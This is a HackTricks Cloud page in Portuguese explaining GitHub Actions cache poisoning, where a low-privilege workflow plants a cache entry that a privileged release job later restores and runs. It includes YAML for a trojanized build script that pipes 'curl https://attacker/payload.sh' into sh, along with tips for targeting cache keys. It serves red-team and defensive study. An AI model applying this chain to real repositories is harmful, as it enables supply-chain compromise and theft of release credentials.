GH Actions - Cache Poisoning
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Overview
O cache do GitHub Actions é global para um repositório. Qualquer workflow que conheça a key do cache (ou restore-keys) pode preencher essa entrada, mesmo que o job tenha apenas permissions: contents: read. O GitHub não segrega caches por workflow, tipo de evento ou nível de confiança, então um atacante que comprometer um job de baixo privilégio pode contaminar um cache que um job de release privilegiado irá depois restaurar. Foi assim que o comprometimento do Ultralytics pivotou de um workflow pull_request_target para a pipeline de publicação no PyPI.
Attack primitives
actions/cacheexpõe both restore and save operations (actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4). A chamada de save é permitida para qualquer job, exceto para workflowspull_requestverdadeiramente não confiáveis disparados a partir de forks.- Entradas de cache são identificadas apenas pelo
key.restore-keysamplos facilitam injetar payloads porque o atacante só precisa colidir com um prefixo. - O sistema de arquivos em cache é restaurado exatamente como estava. Se o cache contiver scripts ou binários que sejam executados depois, o atacante controla esse caminho de execução.
Example exploitation chain
Author workflow (pull_request_target) poisoned the cache:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Workflow privilegiado restaurado e executou o poisoned cache:
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
O segundo job agora executa código controlado pelo atacante enquanto possui credenciais de release (PyPI tokens, PATs, cloud deploy keys, etc.).
Dicas práticas de exploração
- Aponte para workflows acionados por
pull_request_target,issue_comment, ou comandos de bot que ainda salvam caches; o GitHub permite que eles sobrescrevam chaves de todo o repositório mesmo quando o runner tem apenas acesso de leitura ao repo. - Procure por deterministic cache keys reutilizados através de limites de confiança (por exemplo,
pip-${{ hashFiles('poetry.lock') }}) ourestore-keyspermissivos, então salve seu tarball malicioso antes de o workflow privilegiado rodar. - Monitore os logs por entradas
Cache savedou adicione seu próprio passo de cache-save para que o próximo job de release restaure o payload e execute os scripts ou binários trojanizados.
References
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud

